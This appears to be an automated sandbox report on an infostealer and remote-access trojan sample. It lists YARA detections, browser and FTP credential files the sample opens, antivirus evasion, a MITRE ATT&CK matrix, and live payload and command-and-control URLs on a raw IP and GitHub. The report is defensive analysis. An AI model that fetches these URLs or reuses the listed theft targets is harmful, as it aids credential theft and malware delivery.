                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Users\Public\winnotify.scrQueries volume information: C:\Users\Public\winnotify.scr VolumeInformation
                    Source: C:\Users\Public\winnotify.scrQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
                    Source: C:\Users\Public\winnotify.scrQueries volume information: C:\Users\Public\winnotify.scr VolumeInformation
                    Source: C:\Users\Public\winnotify.scrQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
                    Source: C:\Users\gbcd\fff.scrKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
                    Source: fff.scr, 00000017.00000002.1642253355.0000000009002000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
                    Source: C:\Users\gbcd\qqq.scrWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

                    Stealing of Sensitive Information

                    barindex
                    Yara detected Generic Stealer
                    Source: Yara matchFile source: 00000017.00000002.1630207447.00000000060D7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000017.00000002.1630207447.000000000618A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000017.00000002.1630207447.0000000006227000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000017.00000002.1630207447.000000000632A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000017.00000002.1627355609.00000000050D9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: Process Memory Space: fff.scr PID: 8024, type: MEMORYSTR
                    Yara detected Phemedrone Stealer
                    Source: Yara matchFile source: 00000017.00000002.1627355609.0000000005352000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000017.00000002.1627355609.0000000005107000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000017.00000002.1627355609.00000000050EF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000017.00000002.1630207447.00000000060D7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000017.00000002.1627355609.0000000005273000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000017.00000002.1627355609.0000000005129000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000017.00000002.1630207447.000000000618A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000017.00000002.1627355609.000000000528D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000017.00000002.1630207447.0000000006227000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000017.00000002.1627355609.000000000534E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000017.00000002.1630207447.000000000632A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000017.00000002.1627355609.00000000050D9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: Process Memory Space: fff.scr PID: 8024, type: MEMORYSTR
                    Yara detected PureLog Stealer
                    Source: Yara matchFile source: 23.2.fff.scr.a50000.0.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0.2.ZOL2mIYAUH.exe.1c0000.0.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 37.2.winnotify.scr.450000.0.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 00000017.00000002.1620855278.0000000000A52000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000025.00000002.2207912589.0000000000452000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000000.00000002.3688530749.00000000001C2000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
                    Yara detected XWorm
                    Source: Yara matchFile source: 38.2.winnotify.scr.511f9cc.0.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 00000018.00000002.3715480219.0000000005101000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000025.00000002.2324631468.0000000004C52000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000026.00000002.2381512585.000000000511F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: Process Memory Space: qqq.scr PID: 3452, type: MEMORYSTR
                    Source: Yara matchFile source: Process Memory Space: winnotify.scr PID: 5920, type: MEMORYSTR
                    Source: Yara matchFile source: Process Memory Space: winnotify.scr PID: 7980, type: MEMORYSTR
                    Yara detected zgRAT
                    Source: Yara matchFile source: 23.2.fff.scr.a50000.0.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0.2.ZOL2mIYAUH.exe.1c0000.0.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 37.2.winnotify.scr.450000.0.unpack, type: UNPACKEDPE
                    Tries to harvest and steal browser information (history, passwords, etc)
                    Source: C:\Users\gbcd\fff.scrFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.dbJump to behavior
                    Source: C:\Users\gbcd\fff.scrFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
                    Source: C:\Users\gbcd\fff.scrFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
                    Source: C:\Users\gbcd\fff.scrFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
                    Source: C:\Users\gbcd\fff.scrFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqliteJump to behavior
                    Source: C:\Users\gbcd\fff.scrFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                    Source: C:\Users\gbcd\fff.scrFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                    Tries to harvest and steal ftp login credentials
                    Source: C:\Users\gbcd\fff.scrFile opened: C:\Users\user\AppData\Roaming\FileZilla\sitemanager.xmlJump to behavior
                    Source: C:\Users\gbcd\fff.scrFile opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xmlJump to behavior

                    Remote Access Functionality

                    barindex
                    Yara detected Generic Stealer
                    Source: Yara matchFile source: 00000017.00000002.1630207447.00000000060D7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000017.00000002.1630207447.000000000618A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000017.00000002.1630207447.0000000006227000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000017.00000002.1630207447.000000000632A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000017.00000002.1627355609.00000000050D9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: Process Memory Space: fff.scr PID: 8024, type: MEMORYSTR
                    Yara detected Phemedrone Stealer
                    Source: Yara matchFile source: 00000017.00000002.1627355609.0000000005352000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000017.00000002.1627355609.0000000005107000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000017.00000002.1627355609.00000000050EF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000017.00000002.1630207447.00000000060D7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000017.00000002.1627355609.0000000005273000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000017.00000002.1627355609.0000000005129000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000017.00000002.1630207447.000000000618A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000017.00000002.1627355609.000000000528D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000017.00000002.1630207447.0000000006227000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000017.00000002.1627355609.000000000534E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000017.00000002.1630207447.000000000632A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000017.00000002.1627355609.00000000050D9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: Process Memory Space: fff.scr PID: 8024, type: MEMORYSTR
                    Yara detected PureLog Stealer
                    Source: Yara matchFile source: 23.2.fff.scr.a50000.0.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0.2.ZOL2mIYAUH.exe.1c0000.0.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 37.2.winnotify.scr.450000.0.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 00000017.00000002.1620855278.0000000000A52000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000025.00000002.2207912589.0000000000452000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000000.00000002.3688530749.00000000001C2000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
                    Yara detected XWorm
                    Source: Yara matchFile source: 38.2.winnotify.scr.511f9cc.0.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 00000018.00000002.3715480219.0000000005101000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000025.00000002.2324631468.0000000004C52000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000026.00000002.2381512585.000000000511F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: Process Memory Space: qqq.scr PID: 3452, type: MEMORYSTR
                    Source: Yara matchFile source: Process Memory Space: winnotify.scr PID: 5920, type: MEMORYSTR
                    Source: Yara matchFile source: Process Memory Space: winnotify.scr PID: 7980, type: MEMORYSTR
                    Yara detected zgRAT
                    Source: Yara matchFile source: 23.2.fff.scr.a50000.0.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0.2.ZOL2mIYAUH.exe.1c0000.0.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 37.2.winnotify.scr.450000.0.unpack, type: UNPACKEDPE

                    Mitre Att&ck Matrix

                    ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                    Gather Victim Identity InformationAcquire InfrastructureValid Accounts231
                    Windows Management Instrumentation                    		1
                    DLL Side-Loading                    		1
                    DLL Side-Loading                    		11
                    Disable or Modify Tools                    		2
                    OS Credential Dumping                    		2
                    File and Directory Discovery                    		Remote Services1
                    Archive Collected Data                    		11
                    Ingress Tool Transfer                    		Exfiltration Over Other Network MediumAbuse Accessibility Features
                    CredentialsDomainsDefault Accounts1
                    Scheduled Task/Job                    		1
                    Scheduled Task/Job                    		12
                    Process Injection                    		1
                    Deobfuscate/Decode Files or Information                    		LSASS Memory135
                    System Information Discovery                    		Remote Desktop Protocol2
                    Data from Local System                    		11
                    Encrypted Channel                    		Exfiltration Over BluetoothNetwork Denial of Service
                    Email AddressesDNS ServerDomain Accounts1
                    PowerShell                    		121
                    Registry Run Keys / Startup Folder                    		1
                    Scheduled Task/Job                    		3
                    Obfuscated Files or Information                    		Security Account Manager441
                    Security Software Discovery                    		SMB/Windows Admin SharesData from Network Shared Drive1
                    Non-Standard Port                    		Automated ExfiltrationData Encrypted for Impact
                    Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook121
                    Registry Run Keys / Startup Folder                    		22
                    Software Packing                    		NTDS351
                    Virtualization/Sandbox Evasion                    		Distributed Component Object ModelInput Capture2
                    Non-Application Layer Protocol                    		Traffic DuplicationData Destruction
                    Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
                    Timestomp                    		LSA Secrets3
                    Process Discovery                    		SSHKeylogging113
                    Application Layer Protocol                    		Scheduled TransferData Encrypted for Impact
                    Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
                    DLL Side-Loading                    		Cached Domain Credentials1
                    Application Window Discovery                    		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                    DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items211
                    Masquerading                    		DCSyncRemote System DiscoveryWindows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                    Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job351
                    Virtualization/Sandbox Evasion                    		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                    Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt12
                    Process Injection                    		/etc/passwd and /etc/shadowNetwork SniffingDirect Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

                    Behavior Graph

                    Hide Legend

                    Legend:

                    • Process
                    • Signature
                    • Created File
                    • DNS/IP Info
                    • Is Dropped
                    • Is Windows Process
                    • Number of created Registry Values
                    • Number of created Files
                    • Visual Basic
                    • Delphi
                    • Java
                    • .Net C# or VB.NET
                    • C, C++ or other language
                    • Is malicious
                    • Internet
                    behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1561594 Sample: ZOL2mIYAUH.exe Startdate: 23/11/2024 Architecture: WINDOWS Score: 100 66 raw.githubusercontent.com 2->66 68 get.geojs.io 2->68 100 Suricata IDS alerts for network traffic 2->100 102 Found malware configuration 2->102 104 Malicious sample detected (through community Yara rule) 2->104 106 18 other signatures 2->106 9 ZOL2mIYAUH.exe 1 2->9         started        12 winnotify.scr 2->12         started        14 winnotify.scr 2->14         started        signatures3 process4 signatures5 108 Detected unpacking (changes PE section rights) 9->108 110 Detected unpacking (overwrites its own PE header) 9->110 112 Bypasses PowerShell execution policy 9->112 114 Adds a directory exclusion to Windows Defender 9->114 16 qqq.scr 1 5 9->16         started        20 fff.scr 15 3 9->20         started        23 curl.exe 2 9->23         started        25 6 other processes 9->25 116 Antivirus detection for dropped file 12->116 118 Multi AV Scanner detection for dropped file 12->118 120 Machine Learning detection for dropped file 12->120 122 Hides threads from debuggers 14->122 process6 dnsIp7 56 C:\Users\Public\winnotify.scr, PE32 16->56 dropped 78 Antivirus detection for dropped file 16->78 80 Multi AV Scanner detection for dropped file 16->80 82 Detected unpacking (changes PE section rights) 16->82 96 4 other signatures 16->96 27 powershell.exe 16->27         started        30 powershell.exe 16->30         started        32 powershell.exe 16->32         started        42 2 other processes 16->42 70 get.geojs.io 104.26.0.100, 443, 49756 CLOUDFLARENETUS United States 20->70 84 Detected unpacking (overwrites its own PE header) 20->84 86 Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines) 20->86 88 Machine Learning detection for dropped file 20->88 98 3 other signatures 20->98 72 79.110.49.246, 2331, 49700, 49711 OTAVANET-ASCZ Germany 23->72 58 C:\Users\gbcd\fff.scr, PE32 23->58 dropped 90 Drops PE files to the user root directory 23->90 92 Drops PE files with a suspicious file extension 23->92 34 conhost.exe 23->34         started        74 raw.githubusercontent.com 185.199.109.133, 443, 49745 FASTLYUS Netherlands 25->74 76 127.0.0.1 unknown unknown 25->76 60 C:\Users\gbcd\srtware.exe, PE32+ 25->60 dropped 62 C:\Users\gbcd\qqq.scr, PE32 25->62 dropped 64 C:\Users\gbcd\ddd.scr, PE32+ 25->64 dropped 94 Loading BitLocker PowerShell Module 25->94 36 conhost.exe 25->36         started        38 conhost.exe 25->38         started        40 conhost.exe 25->40         started        44 2 other processes 25->44 file8 signatures9 process10 signatures11 124 Loading BitLocker PowerShell Module 27->124 46 conhost.exe 27->46         started        48 conhost.exe 30->48         started        50 conhost.exe 32->50         started        52 conhost.exe 42->52         started        54 conhost.exe 42->54         started        process12

                    Screenshots

                    Thumbnails

                    This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                    windows-stand

                    Antivirus, Machine Learning and Genetic Malware Detection

                    Initial Sample

                    SourceDetectionScannerLabelLink
                    ZOL2mIYAUH.exe66%ReversingLabsWin32.Infostealer.Berbew
                    ZOL2mIYAUH.exe100%AviraHEUR/AGEN.1354408
                    ZOL2mIYAUH.exe100%Joe Sandbox ML

                    Dropped Files

                    SourceDetectionScannerLabelLink
                    C:\Users\Public\winnotify.scr100%AviraHEUR/AGEN.1354408
                    C:\Users\gbcd\qqq.scr100%AviraHEUR/AGEN.1354408
                    C:\Users\gbcd\fff.scr100%AviraHEUR/AGEN.1354408
                    C:\Users\Public\winnotify.scr100%Joe Sandbox ML
                    C:\Users\gbcd\qqq.scr100%Joe Sandbox ML
                    C:\Users\gbcd\fff.scr100%Joe Sandbox ML
                    C:\Users\Public\winnotify.scr51%ReversingLabsWin32.Trojan.Generic
                    C:\Users\gbcd\ddd.scr83%ReversingLabsWin64.Trojan.MintZard
                    C:\Users\gbcd\qqq.scr51%ReversingLabsWin32.Trojan.Generic
                    C:\Users\gbcd\srtware.exe38%ReversingLabsWin64.Trojan.Generic

                    Unpacked PE Files

                    ⊘No Antivirus matches

                    Domains

                    ⊘No Antivirus matches

                    URLs

                    SourceDetectionScannerLabelLink
                    http://79.110.49.246/didedba/dddvK0%Avira URL Cloudsafe
                    http://79.110.49.246/didedba/dddveW0%Avira URL Cloudsafe
                    http://79.110.49.246/didedba/writes0%Avira URL Cloudsafe
                    http://79.110.49.246/didedba/dddvc0%Avira URL Cloudsafe
                    http://79.110.49.246/didedba/dddveo0%Avira URL Cloudsafe
                    http://get.geojs.iod0%Avira URL Cloudsafe
                    http://79.110.49.246/didedba/write100%Avira URL Cloudmalware
                    http://79.110.49.246/didedba/dddv100%Avira URL Cloudmalware
                    https://get.geoj80%Avira URL Cloudsafe
                    http://79.110.49.246/didedba/write-oC:0%Avira URL Cloudsafe
                    http://79.110.49.246/didedba/dddves0%Avira URL Cloudsafe
                    http://79.110.49.246/didedba/abce0%Avira URL Cloudsafe
                    http://79.110.49.246/didedba/abck00%Avira URL Cloudsafe
                    http://79.110.49.246/didedba/abc100%Avira URL Cloudmalware
                    http://79.110.49.246/didedba/abcn0%Avira URL Cloudsafe
                    http://79.110.49.246/didedba/abccej0%Avira URL Cloudsafe
                    http://79.110.49.246/didedba/abc-oC:0%Avira URL Cloudsafe
                    https://go.micr0%Avira URL Cloudsafe
                    http://79.110.49.246/didedba/abck$0%Avira URL Cloudsafe
                    http://79.110.49.246/didedba/dddv320%Avira URL Cloudsafe
                    http://79.110.49.246/didedba/dddv-oC:0%Avira URL Cloudsafe
                    79.110.49.2460%Avira URL Cloudsafe
                    http://scripts.sil.org/OFL).http://www.typoland.com/designers/Lukasz_Dziedzic/http://www.typoland.co0%Avira URL Cloudsafe
                    http://79.110.49.246/didedba/dddvce0%Avira URL Cloudsafe

                    Domains and IPs

                    Contacted Domains

                    NameIPActiveMaliciousAntivirus DetectionReputation
                    raw.githubusercontent.com
                    		185.199.109.133
                    		truefalse
                      		high
                      get.geojs.io
                      		104.26.0.100
                      		truefalse
                        		high

                        Contacted URLs

                        NameMaliciousAntivirus DetectionReputation
                        http://79.110.49.246/didedba/dddvtrue
                        • Avira URL Cloud: malware
                        		unknown
                        http://79.110.49.246/didedba/writetrue
                        • Avira URL Cloud: malware
                        		unknown
                        http://79.110.49.246/didedba/abctrue
                        • Avira URL Cloud: malware
                        		unknown
                        79.110.49.246true
                        • Avira URL Cloud: safe
                        		unknown
                        https://get.geojs.io/v1/ip/geo.jsonfalse
                          		high
                          https://raw.githubusercontent.com/huuuuggga/aaaaa1/refs/heads/main/srtware.exefalse
                            		high

                            URLs from Memory and Binaries

                            NameSourceMaliciousAntivirus DetectionReputation
                            http://79.110.49.246/didedba/dddvKcurl.exe, 00000010.00000002.1443859445.00000000004C8000.00000004.00000020.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            http://79.110.49.246/didedba/writescurl.exe, 00000013.00000002.1511983563.00000000030D8000.00000004.00000020.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            https://duckduckgo.com/chrome_newtabfff.scr, 00000017.00000002.1630207447.000000000618A000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1630207447.0000000006170000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1630207447.0000000006156000.00000004.00000800.00020000.00000000.sdmpfalse
                              		high
                              https://t.me/fff.scr, 00000017.00000002.1630207447.000000000618A000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1627355609.00000000050EF000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1627355609.0000000005071000.00000004.00000800.00020000.00000000.sdmpfalse
                                		high
                                https://duckduckgo.com/ac/?q=fff.scr, 00000017.00000002.1630207447.000000000618A000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1630207447.0000000006170000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1630207447.0000000006156000.00000004.00000800.00020000.00000000.sdmpfalse
                                  		high
                                  http://79.110.49.246/didedba/write-oC:curl.exe, 00000013.00000002.1511983563.00000000030D0000.00000004.00000020.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://get.geojs.iodfff.scr, 00000017.00000002.1627355609.00000000051DF000.00000004.00000800.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  https://contoso.com/Licensepowershell.exe, 0000001F.00000002.1931775752.0000000005FB4000.00000004.00000800.00020000.00000000.sdmpfalse
                                    		high
                                    https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=fff.scr, 00000017.00000002.1630207447.000000000618A000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1630207447.0000000006170000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1630207447.0000000006156000.00000004.00000800.00020000.00000000.sdmpfalse
                                      		high
                                      http://79.110.49.246/didedba/dddveWcurl.exe, 00000010.00000002.1443859445.00000000004C8000.00000004.00000020.00020000.00000000.sdmpfalse
                                      • Avira URL Cloud: safe
                                      		unknown
                                      http://get.geojs.iofff.scr, 00000017.00000002.1627355609.00000000051DF000.00000004.00000800.00020000.00000000.sdmpfalse
                                        		high
                                        http://79.110.49.246/didedba/dddvccurl.exe, 00000010.00000002.1443859445.00000000004C8000.00000004.00000020.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        https://aka.ms/pscore6lBpowershell.exe, 00000008.00000002.1327908559.0000000004D01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1707922266.0000000004F81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1753231348.00000000047B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1814588649.00000000043C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.1882121555.0000000004F51000.00000004.00000800.00020000.00000000.sdmpfalse
                                          		high
                                          https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/searchfff.scr, 00000017.00000002.1630207447.000000000618A000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1630207447.0000000006170000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1630207447.0000000006156000.00000004.00000800.00020000.00000000.sdmpfalse
                                            		high
                                            https://contoso.com/powershell.exe, 0000001F.00000002.1931775752.0000000005FB4000.00000004.00000800.00020000.00000000.sdmpfalse
                                              		high
                                              https://get.geojs.iofff.scr, 00000017.00000002.1627355609.00000000051D7000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1627355609.0000000005071000.00000004.00000800.00020000.00000000.sdmpfalse
                                                		high
                                                https://nuget.org/nuget.exepowershell.exe, 00000008.00000002.1331519717.0000000005D6A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1721126389.0000000005FE8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1776932795.0000000005817000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.1931775752.0000000005FB4000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  		high
                                                  http://scripts.sil.org/OFLCopyrightsrtware.exe.21.drfalse
                                                    		high
                                                    https://get.geoj8fff.scr, 00000017.00000002.1627355609.00000000051DB000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    • Avira URL Cloud: safe
                                                    		unknown
